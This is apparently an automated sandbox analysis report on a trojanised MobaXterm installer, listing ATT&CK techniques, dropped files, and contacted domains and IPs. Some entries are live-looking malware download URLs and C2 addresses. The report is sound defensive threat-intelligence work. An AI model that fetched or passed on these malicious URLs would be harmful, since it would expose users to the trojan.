Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005ABC3F ospoll_listen,	13_2_005ABC3F

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	12 Process Injection	2 Obfuscated Files or Information	21 Input Capture	1 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Timestomp	1 Credentials In Files	34 System Information Discovery	SMB/Windows Admin Shares	21 Input Capture	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	2 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Process Injection	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
T2dvU8f2xg.exe	5%	ReversingLabs	Win32.Trojan.Generic
T2dvU8f2xg.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MoTTYnew.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaCompareFiles	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaCompareFolders	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaGitEditor	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaListPorts	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaPictureViewer	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaTextEditor	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\OpenX.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.3.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.8.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\dwm_w32.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\jwm.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libGL-1.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libICE-6.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libSM-6.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libX11-6.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libX11-xcb-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXau-6.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXdmcp-6.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXext-6.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXfont-1.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmu-6.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmuu-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXt-6.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libdl.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libfontenc-1.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libgcc_s_dw2-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libglapi-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libnativeGLthunk.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libwinpthread-1.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-1.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-glx-0.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-image-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-shm-0.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-util-1.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\setxkbmap.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\swrast_dri.so	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\twm_w32.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xhost.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsatoms.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsclients.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsfonts.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xmodmap.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xprop.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xrdb.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\zlib1.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\evb5021.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
http://mobaxterm.mobatek.net	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/lastver.php?pro=non_pro&version=24%2E2&beta=0	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net8	0%	Avira URL Cloud	safe
https://ssh.0523qyfw.com/MobServe.dll7	100%	Avira URL Cloud	malware
https://mobaxterm.mobatek.net)MobaFontBookMobaFontMobaFontVersion	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.netL	0%	Avira URL Cloud	safe
http://www.cygwin.com	0%	Avira URL Cloud	safe
http://154.19.200.133:8087/count	0%	Avira URL Cloud	safe
https://mobassh.mobatek.net	0%	Avira URL Cloud	safe
http://dejavu-fonts.org	0%	Avira URL Cloud	safe
http://154.19.200.133:8087	0%	Avira URL Cloud	safe
http://bdsatish.in/lang/t	0%	Avira URL Cloud	safe
https://ssh.0523qyfw.com/MobServe.dllL	100%	Avira URL Cloud	malware
https://ssh.0523qyfw.com/ata	100%	Avira URL Cloud	malware
https://scrt1.nyazz.com/MobServe.exeMobServe.exeMyHiddenApptaskFailed	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net	0%	Avira URL Cloud	safe
http://www.baraha.com/help/K	0%	Avira URL Cloud	safe
https://vorillaz.github.io/devicons/#/about)	0%	Avira URL Cloud	safe
http://www.mesa3d.org	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/MobServe.execK.	0%	Avira URL Cloud	safe
https://ssh.0523qyfw.com/MobServe.dll	100%	Avira URL Cloud	malware
https://www.x.org	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net)	0%	Avira URL Cloud	safe
http://127.0.0.1:5800	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/MobServe.exe	100%	Avira URL Cloud	malware
http://www.busybox.net	0%	Avira URL Cloud	safe
http://107.148.62.100:8084/?a=w64&h=107.148.62.100&t=ws_&p=8084	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.netMobaFira	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.netx(	0%	Avira URL Cloud	safe
http://107.148.62.100:8084/	0%	Avira URL Cloud	safe
https://dejavu-fonts.github.io/License.html)	0%	Avira URL Cloud	safe
https://ssh.0523qyfw.com/C	100%	Avira URL Cloud	malware
https://bugs.freedesktop.org/enter_bug.cgi?product=Mesa	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.netDVarFileInfo$	0%	Avira URL Cloud	safe
https://www.61xdm.com/wmob	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/CygUtils.plugin	0%	Avira URL Cloud	safe
https://vorillaz.github.io/devicons)	0%	Avira URL Cloud	safe
https://dejavu-fonts.github.io/)	0%	Avira URL Cloud	safe
https://ssh.0523qyfw.com/	100%	Avira URL Cloud	malware
https://mobaxterm.mobatek.netMobaFont	0%	Avira URL Cloud	safe
https://ssh.0523qyfw.com/MobServe.dllMobServe.dllTask	100%	Avira URL Cloud	malware
https://mobaxterm.mobatek.net/cert.html	0%	Avira URL Cloud	safe
https://blog.mobatek.net/post/how-to-keep-X11-display-after-su-or-sudo/	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/download.html	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/download.html03	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.netR	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.netopenwinAboutDlgProc	0%	Avira URL Cloud	safe
http://bdsatish.in/lang/tel-kagapa.png	0%	Avira URL Cloud	safe
http://mingw-w64.sourceforge.net/X	0%	Avira URL Cloud	safe
http://www.baraha.com/help/Keyboards/tel_brhkbd.htm	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.neti	0%	Avira URL Cloud	safe
http://154.19.200.133:80871Y%	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
61xdm.com	107.148.51.200	true	false	unknown
scrt1.nyazz.com	118.107.29.172	true	false	high
ssh.0523qyfw.com	unknown	unknown	false	high
www.61xdm.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://154.19.200.133:8087/count	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/MobServe.exe	false	Avira URL Cloud: malware	unknown
http://107.148.62.100:8084/?a=w64&h=107.148.62.100&t=ws_&p=8084	false	Avira URL Cloud: safe	unknown
http://107.148.62.100:8084/	false	Avira URL Cloud: safe	unknown
https://www.61xdm.com/wmob	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://dejavu-fonts.org	T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://fontawesome.com/free)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.net8	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ssh.0523qyfw.com/MobServe.dll7	T2dvU8f2xg.exe, 00000000.00000002.4065622099.000000000185D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/source-foundry/Hack#license)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.cygwin.com	T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/belluzj/fantasque-sans/blob/master/LICENSE.txt)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.net)MobaFontBookMobaFontMobaFontVersion	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.net/lastver.php?pro=non_pro&version=24%2E2&beta=0	T2dvU8f2xg.exe, 00000000.00000002.4076442352.0000000003FF2000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp	false		high
http://mobaxterm.mobatek.net	T2dvU8f2xg.exe, 00000000.00000002.4087988844.0000000008057000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobassh.mobatek.net	T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.netL	T2dvU8f2xg.exe, 00000000.00000002.4143689022.000000000B390000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/	T2dvU8f2xg.exe, 00000000.00000002.4065622099.0000000001886000.00000004.00000020.00020000.00000000.sdmp	false		high
http://154.19.200.133:8087	T2dvU8f2xg.exe, T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/belluzj/fantasque-sans)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://bdsatish.in/lang/t	T2dvU8f2xg.exe, 00000000.00000002.4143689022.000000000B390000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ssh.0523qyfw.com/MobServe.dllL	T2dvU8f2xg.exe, 00000000.00000002.4065622099.000000000185D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://vorillaz.github.io/devicons/#/about)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/hsts.html	T2dvU8f2xg.exe, T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	false		high
https://www.google.fr	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258497127.000000000A6DF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/docs/alt-svc.html#	T2dvU8f2xg.exe	false		high
https://ssh.0523qyfw.com/ata	T2dvU8f2xg.exe, 00000000.00000002.4065622099.0000000001896000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/AndreLZGava/font-awesome-extension)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2277517244.000000000AC29000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2310830633.00000000FCB33000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219797778.00000000091A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/docs/hsts.html#	T2dvU8f2xg.exe	false		high
https://mobaxterm.mobatek.net	T2dvU8f2xg.exe, 00000000.00000002.4076442352.000000000402C000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2652853895.00000000FFA10000.00000004.00001000.00020000.00000000.sdmp, XWin_MobaX.exe	false	Avira URL Cloud: safe	unknown
http://www.baraha.com/help/K	T2dvU8f2xg.exe, 00000000.00000002.4143689022.000000000B390000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ietf.org/rfc/rfc3275.txt	T2dvU8f2xg.exe, 00000000.00000002.4076442352.000000000407C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://scrt1.nyazz.com/MobServe.exeMobServe.exeMyHiddenApptaskFailed	T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0D	T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp	false		high
https://scrt1.nyazz.com/MobServe.execK.	T2dvU8f2xg.exe, 00000000.00000002.4065622099.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mesa3d.org	T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://ssh.0523qyfw.com/MobServe.dll	T2dvU8f2xg.exe	false	Avira URL Cloud: malware	unknown
http://127.0.0.1:5800	T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty	T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	false		high
